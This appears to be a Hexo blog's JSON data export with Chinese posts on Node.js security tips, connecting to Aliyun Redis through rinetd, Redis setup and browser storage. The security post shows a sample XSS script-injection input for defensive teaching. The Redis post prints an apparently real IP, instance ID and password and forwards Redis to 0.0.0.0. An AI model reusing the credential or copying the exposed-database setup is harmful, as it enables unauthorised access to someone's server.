\n//用户输入的数据中带脚本,如果不做处理,会被执行。\nIm human <script>alert('I‘m hacker')<script>\n
\n\n\n处理方式:1. 对插入的数据进行验证,除去 HTML。
\n
默认情况下,cookie 可以通过 js 在同一个域中读取,这就有可能会被跨站点脚本攻击,而且可能被第三方库读取。为了处理这种情况,我们可以在 cookies 上使用 HTTPOnly,这个标签可以让 js 无法读取。
\n附加的安全层,可以检测和缓解某类攻击,例如:XSS、数据注入。启用方法如下:
\nContent-Security-Policy: default-src 'self' *.mydomain.com\n
\n跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"目前市面上有很多后台纯 node 的项目,但是用 node 做后端还是有一系列的问题,比如稳定性,安全性,抛开这两块还要优化性能,如何提高用户的访问速度,在网络不佳(2G)的情况下如何能正常访问项目,都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。
\neval 的作用是将用户输入的字符串转化为可执行的代码,类似欺骗的效果,这样的坏处是会受到 XSS 攻击。
\n严格模式下的变量声明会抛出一些隐藏的错误。
\n'use strict'\nvar obj = {\n a: '1',\n a: '2'\n}\n// 抛出错误 syntax error\n
\n可以使我们早期捕获一些 bug,并及时修正。
\n测试很重要,不但单元要测试,还要全面测试,例如用 mocha 测试代码覆盖率。
\n这样如果产生错误,会让整个系统宕机,可以使用 nginx 反向代理。
\nchild_process.exec('ls', function (err, data) {\n console.log(data);\n});\n
\n上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。
\n\n\n为了避免这个问题,我们可以使用:child_process.execFile。
\n
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
\n\n\n使用 Streams。
\n
用 https 代替 http,请求的过程可以添加签名头。
\n也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:
\n//用户输入的数据中带脚本,如果不做处理,会被执行。\nIm human <script>alert('I‘m hacker')<script>\n
\n\n\n处理方式:1. 对插入的数据进行验证,除去 HTML。
\n
默认情况下,cookie 可以通过 js 在同一个域中读取,这就有可能会被跨站点脚本攻击,而且可能被第三方库读取。为了处理这种情况,我们可以在 cookies 上使用 HTTPOnly,这个标签可以让 js 无法读取。
\n附加的安全层,可以检测和缓解某类攻击,例如:XSS、数据注入。启用方法如下:
\nContent-Security-Policy: default-src 'self' *.mydomain.com\n
\n跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。
\n"},{"title":"node连接阿里云redis","date":"2018-04-24T10:45:42.000Z","_content":"# node 连接云 redis\n\n## 1. 要求\n\n1. 若 Redis 实例属于专有网络(VPC),ECS 必须与 Redis 实例属于同一个 VPC。\n2. 若 Redis 实例属于经典网络,ECS 必须与 Redis 实例属于同一节点(地域)。\n3. 若 Redis 实例开启了 IP 白名单,必须将 ECS 的内网地址加入白名单列表内。\n\n## 2. 在云服务器 ECS Linux 中安装 rinetd\n\nredis-cli -h 101.132.156.228 -a r-uf60a44b13666134:'123456Jzx'\n\n```js\nwget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd\nsed -i 's/65536/65535/g' rinetd.c (修改端口范围)\nmkdir /usr/man&&make&&make install\n```\n\n> 注意:rinetd 安装包下载地址不确保下载可用性,您可以自行搜索安装包进行下载使用。\n\n## 3. 打开配置文件 rinetd.conf\n\nvi /etc/rinetd.conf\n\n## 4. 在配置文件中输入如下内容\n\n```js\n0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n```\n\n> 说明:您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。\n\n## 5. 执行如下命令启动 rinetd\n\n```js\nrinetd\n```\n\n> 注意\n> ○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。\n> ○ 若遇到绑定报错,可以执行 pkill rinetd 结束进程,再执行 rinetd启动进程 rinetd。\n> ○ rinetd 正常启动后, 执行netstat -anp | grep 6379 确认服务是否正常运行。\n\n## 6. 在本地进行验证测试\n\n```m\n您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证,比如安装了 rinetd 的服务器的 IP 是 1.1.1.1,即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1,即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后,输入连接 Redis 的密码:auth Redis的连接密码。\n进行数据写入及查询验证。\n```\n\n## 7. 客户端连接 Redis\n\n```js\nconst redis = require('redis'),\n RDS_PORT = 6379,\n RDS_PWD = '密码',\n RDS_HOST = '服务器ip',\n RDS_OPTS = {},\n client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n console.log('通过认证')\n client.set('author', 'jzx', redis.print)\n client.get('author', redis.print)\n})\n```\n\n## 8. 小结\n\n* 注意 ECS \b若本地 redis-server \b打开则先关闭,\b否则转发的并不是云 redis,而是本地 ECS 服务, 命令如下\b面给出所示。\n\n```t\n/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n```\n\n* 将 ECS 安全组设置里 redis 端口开放,如:6379。\n","source":"_posts/node连接阿里云redis.md","raw":"---\ntitle: node连接阿里云redis\ndate: 2018-04-24 18:45:42\ntags: [redis, 阿里云]\ncategories: 数据库\n---\n# node 连接云 redis\n\n## 1. 要求\n\n1. 若 Redis 实例属于专有网络(VPC),ECS 必须与 Redis 实例属于同一个 VPC。\n2. 若 Redis 实例属于经典网络,ECS 必须与 Redis 实例属于同一节点(地域)。\n3. 若 Redis 实例开启了 IP 白名单,必须将 ECS 的内网地址加入白名单列表内。\n\n## 2. 在云服务器 ECS Linux 中安装 rinetd\n\nredis-cli -h 101.132.156.228 -a r-uf60a44b13666134:'123456Jzx'\n\n```js\nwget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd\nsed -i 's/65536/65535/g' rinetd.c (修改端口范围)\nmkdir /usr/man&&make&&make install\n```\n\n> 注意:rinetd 安装包下载地址不确保下载可用性,您可以自行搜索安装包进行下载使用。\n\n## 3. 打开配置文件 rinetd.conf\n\nvi /etc/rinetd.conf\n\n## 4. 在配置文件中输入如下内容\n\n```js\n0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n```\n\n> 说明:您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。\n\n## 5. 执行如下命令启动 rinetd\n\n```js\nrinetd\n```\n\n> 注意\n> ○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。\n> ○ 若遇到绑定报错,可以执行 pkill rinetd 结束进程,再执行 rinetd启动进程 rinetd。\n> ○ rinetd 正常启动后, 执行netstat -anp | grep 6379 确认服务是否正常运行。\n\n## 6. 在本地进行验证测试\n\n```m\n您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证,比如安装了 rinetd 的服务器的 IP 是 1.1.1.1,即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1,即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后,输入连接 Redis 的密码:auth Redis的连接密码。\n进行数据写入及查询验证。\n```\n\n## 7. 客户端连接 Redis\n\n```js\nconst redis = require('redis'),\n RDS_PORT = 6379,\n RDS_PWD = '密码',\n RDS_HOST = '服务器ip',\n RDS_OPTS = {},\n client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n console.log('通过认证')\n client.set('author', 'jzx', redis.print)\n client.get('author', redis.print)\n})\n```\n\n## 8. 小结\n\n* 注意 ECS \b若本地 redis-server \b打开则先关闭,\b否则转发的并不是云 redis,而是本地 ECS 服务, 命令如下\b面给出所示。\n\n```t\n/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n```\n\n* 将 ECS 安全组设置里 redis 端口开放,如:6379。\n","slug":"node连接阿里云redis","published":1,"updated":"2018-04-24T12:07:18.000Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5e001jvzqh1z3j6uxh","content":"redis-cli -h 101.132.156.228 -a r-uf60a44b13666134:’123456Jzx’
\nwget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd\nsed -i 's/65536/65535/g' rinetd.c (修改端口范围)\nmkdir /usr/man&&make&&make install\n
\n\n\n注意:rinetd 安装包下载地址不确保下载可用性,您可以自行搜索安装包进行下载使用。
\n
vi /etc/rinetd.conf
\n0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n
\n\n\n说明:您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。
\n
rinetd\n
\n\n\n注意
\n
○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。
○ 若遇到绑定报错,可以执行 pkill rinetd 结束进程,再执行 rinetd启动进程 rinetd。
○ rinetd 正常启动后, 执行netstat -anp | grep 6379 确认服务是否正常运行。
您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证,比如安装了 rinetd 的服务器的 IP 是 1.1.1.1,即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1,即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后,输入连接 Redis 的密码:auth Redis的连接密码。\n进行数据写入及查询验证。\n
\nconst redis = require('redis'),\n RDS_PORT = 6379,\n RDS_PWD = '密码',\n RDS_HOST = '服务器ip',\n RDS_OPTS = {},\n client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n console.log('通过认证')\n client.set('author', 'jzx', redis.print)\n client.get('author', redis.print)\n})\n
\n/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n
\nredis-cli -h 101.132.156.228 -a r-uf60a44b13666134:’123456Jzx’
\nwget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd\nsed -i 's/65536/65535/g' rinetd.c (修改端口范围)\nmkdir /usr/man&&make&&make install\n
\n\n\n注意:rinetd 安装包下载地址不确保下载可用性,您可以自行搜索安装包进行下载使用。
\n
vi /etc/rinetd.conf
\n0.0.0.0 6379 Redis 的链接地址 6379\nlogfile /var/log/rinetd.log\n
\n\n\n说明:您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。
\n
rinetd\n
\n\n\n注意
\n
○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。
○ 若遇到绑定报错,可以执行 pkill rinetd 结束进程,再执行 rinetd启动进程 rinetd。
○ rinetd 正常启动后, 执行netstat -anp | grep 6379 确认服务是否正常运行。
您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证,比如安装了 rinetd 的服务器的 IP 是 1.1.1.1,即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1,即 telnet 1.1.1.1 6379。\n连接上 ECS Linux 服务器后,输入连接 Redis 的密码:auth Redis的连接密码。\n进行数据写入及查询验证。\n
\nconst redis = require('redis'),\n RDS_PORT = 6379,\n RDS_PWD = '密码',\n RDS_HOST = '服务器ip',\n RDS_OPTS = {},\n client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)\n\nclient.auth(RDS_PWD, function () {\n console.log('通过认证')\n client.set('author', 'jzx', redis.print)\n client.get('author', redis.print)\n})\n
\n/etc/init.d/redis-server stop\n/etc/init.d/redis-server start\n/etc/init.d/redis-server restart\n
\n解压\ntar zxvf redis-4.0.8.tar.gz\n移动文件夹\nmv redis-4.0.8 /usr/local/\n打开该文件夹\ncd /usr/local/redis-4.0.8/\n编译测试\nsudo make test\n编译安装\nsudo make install\n
\nredis-server\n
\n新建目录\nsudo mkdir redis-4.0.8/bin\nsudo mkdir redis-4.0.8/etc\nsudo mkdir redis-4.0.8/db\n拷贝文件\ncp src/mkreleasehdr.sh bin\ncp src/redis-benchmark bin\ncp src/redis-check-rdb bin\ncp src/redis-cli bin\ncp src/redis-server bin\n
\n#修改为守护模式\ndaemonize yes\n#设置进程锁文件\npidfile /usr/local/redis-3.2.8/redis.pid\n#端口\nport 6379\n#客户端超时时间\ntimeout 300\n#日志级别\nloglevel debug\n#日志文件位置\nlogfile /usr/local/redis-3.2.8/log-redis.log\n#设置数据库的数量,默认数据库为0,可以使用SELECT <dbid>命令在连接上指定数据库id\ndatabases 16\n##指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合\n#save <seconds> <changes>\n#Redis默认配置文件中提供了三个条件:\nsave 900 1\nsave 300 10\nsave 60 10000\n#指定存储至本地数据库时是否压缩数据,默认为yes,Redis采用LZF压缩,如果为了节省CPU时间,\n#可以关闭该#选项,但会导致数据库文件变的巨大\nrdbcompression yes\n#指定本地数据库文件名\ndbfilename dump.rdb\n#指定本地数据库路径\ndir /usr/local/redis-3.2.8/db/\n#指定是否在每次更新操作后进行日志记录,Redis在默认情况下是异步的把数据写入磁盘,如果不开启,可能\n#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的,所以有\n#的数据会在一段时间内只存在于内存中\nappendonly no\n#指定更新日志条件,共有3个可选值:\n#no:表示等操作系统进行数据缓存同步到磁盘(快)\n#always:表示每次更新操作后手动调用fsync()将数据写到磁盘(慢,安全)\n#everysec:表示每秒同步一次(折衷,默认值)\nappendfsync everysec\n
\n启动\n./bin/redis-server etc/redis.conf\n查看日志\ntail -f log-redis.log\nOK\n./bin/redis-cli\n
\n查看所有数据\nkeys *\n插入键值对\n\bset a b\n查看数据\nget a\n
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"解压\ntar zxvf redis-4.0.8.tar.gz\n移动文件夹\nmv redis-4.0.8 /usr/local/\n打开该文件夹\ncd /usr/local/redis-4.0.8/\n编译测试\nsudo make test\n编译安装\nsudo make install\n
\nredis-server\n
\n新建目录\nsudo mkdir redis-4.0.8/bin\nsudo mkdir redis-4.0.8/etc\nsudo mkdir redis-4.0.8/db\n拷贝文件\ncp src/mkreleasehdr.sh bin\ncp src/redis-benchmark bin\ncp src/redis-check-rdb bin\ncp src/redis-cli bin\ncp src/redis-server bin\n
\n#修改为守护模式\ndaemonize yes\n#设置进程锁文件\npidfile /usr/local/redis-3.2.8/redis.pid\n#端口\nport 6379\n#客户端超时时间\ntimeout 300\n#日志级别\nloglevel debug\n#日志文件位置\nlogfile /usr/local/redis-3.2.8/log-redis.log\n#设置数据库的数量,默认数据库为0,可以使用SELECT <dbid>命令在连接上指定数据库id\ndatabases 16\n##指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合\n#save <seconds> <changes>\n#Redis默认配置文件中提供了三个条件:\nsave 900 1\nsave 300 10\nsave 60 10000\n#指定存储至本地数据库时是否压缩数据,默认为yes,Redis采用LZF压缩,如果为了节省CPU时间,\n#可以关闭该#选项,但会导致数据库文件变的巨大\nrdbcompression yes\n#指定本地数据库文件名\ndbfilename dump.rdb\n#指定本地数据库路径\ndir /usr/local/redis-3.2.8/db/\n#指定是否在每次更新操作后进行日志记录,Redis在默认情况下是异步的把数据写入磁盘,如果不开启,可能\n#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的,所以有\n#的数据会在一段时间内只存在于内存中\nappendonly no\n#指定更新日志条件,共有3个可选值:\n#no:表示等操作系统进行数据缓存同步到磁盘(快)\n#always:表示每次更新操作后手动调用fsync()将数据写到磁盘(慢,安全)\n#everysec:表示每秒同步一次(折衷,默认值)\nappendfsync everysec\n
\n启动\n./bin/redis-server etc/redis.conf\n查看日志\ntail -f log-redis.log\nOK\n./bin/redis-cli\n
\n查看所有数据\nkeys *\n插入键值对\n\bset a b\n查看数据\nget a\n
\n"},{"title":"sessionStorage localStotage AND cookies","date":"2017-08-16T03:57:16.000Z","_content":"\n### sessionStorage\n> 引入一个浏览器窗口的概念,开启在同源的同窗口,即使跳到其他页面,数据仍然存在,页面刷新也不会消除数据,\n#### 特点\n* 减少网络流量:一旦数据保存在本地后,就可以避免再向服务器请求数据,因此减少不必要的数据请求,减少数据在浏览器和服务器间不必要地来回传递\n* 快速显示数据:性能好,从本地读数据比通过网络从服务器获得数据快得多,本地数据可以即时获得。再加上网页本身也可以有缓存,因此整个页面和数据都在本地的话,可以立即显示\n* 临时储存:很多时候数据只需要在用户浏览一组页面期间使用,关闭窗口后数据就可以丢弃了,这种情况使用sessionStorage非常方便\n\n### cookie\n> 数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递,数据还有路径(path)的概念,可以限制cookie只属于某个路径下。\n#### 特点\n* cookie数据不能超过4k,同时因为每次http请求都会携带cookie,所以cookie只适合保存很小的数据,如会话标识\n* 只在设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭,即有一个过期值\n* cookie也是在所有同源窗口中都是共享的。\n\n### localStorage\n\n#### 特点\n* 生命周期是永久性的。假若使用localStorage存储数据,即使关闭浏览器,也不会让数据消失,除非主动的去删除数据,使用的方法如上所示。localStorage有length属性,可以查看其有多少条记录的数据。\n\n使用方法:\n\n```\nvar storage = null; \n if(window.localStorage){ //判断浏览器是否支持localStorage \n storage = window.localStorage; \n storage.setItem(\"name\", \"Rick\"); //调用setItem方法,存储数据 \n alert(storage.getItem(\"name\")); //调用getItem方法,弹框显示 name 为 Rick \n storage.removeItem(\"name\"); //调用removeItem方法,移除数据 \n alert(storage.getItem(\"name\")); //调用getItem方法,弹框显示 name 为 null \n \n } \n```","source":"_posts/sessionStorage-localStotage-AND-cookies.md","raw":"---\ntitle: sessionStorage localStotage AND cookies\ndate: 2017-08-16 11:57:16\ntags: [sessionStorage, localStotage, cookies]\ncategories: storage\n---\n\n### sessionStorage\n> 引入一个浏览器窗口的概念,开启在同源的同窗口,即使跳到其他页面,数据仍然存在,页面刷新也不会消除数据,\n#### 特点\n* 减少网络流量:一旦数据保存在本地后,就可以避免再向服务器请求数据,因此减少不必要的数据请求,减少数据在浏览器和服务器间不必要地来回传递\n* 快速显示数据:性能好,从本地读数据比通过网络从服务器获得数据快得多,本地数据可以即时获得。再加上网页本身也可以有缓存,因此整个页面和数据都在本地的话,可以立即显示\n* 临时储存:很多时候数据只需要在用户浏览一组页面期间使用,关闭窗口后数据就可以丢弃了,这种情况使用sessionStorage非常方便\n\n### cookie\n> 数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递,数据还有路径(path)的概念,可以限制cookie只属于某个路径下。\n#### 特点\n* cookie数据不能超过4k,同时因为每次http请求都会携带cookie,所以cookie只适合保存很小的数据,如会话标识\n* 只在设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭,即有一个过期值\n* cookie也是在所有同源窗口中都是共享的。\n\n### localStorage\n\n#### 特点\n* 生命周期是永久性的。假若使用localStorage存储数据,即使关闭浏览器,也不会让数据消失,除非主动的去删除数据,使用的方法如上所示。localStorage有length属性,可以查看其有多少条记录的数据。\n\n使用方法:\n\n```\nvar storage = null; \n if(window.localStorage){ //判断浏览器是否支持localStorage \n storage = window.localStorage; \n storage.setItem(\"name\", \"Rick\"); //调用setItem方法,存储数据 \n alert(storage.getItem(\"name\")); //调用getItem方法,弹框显示 name 为 Rick 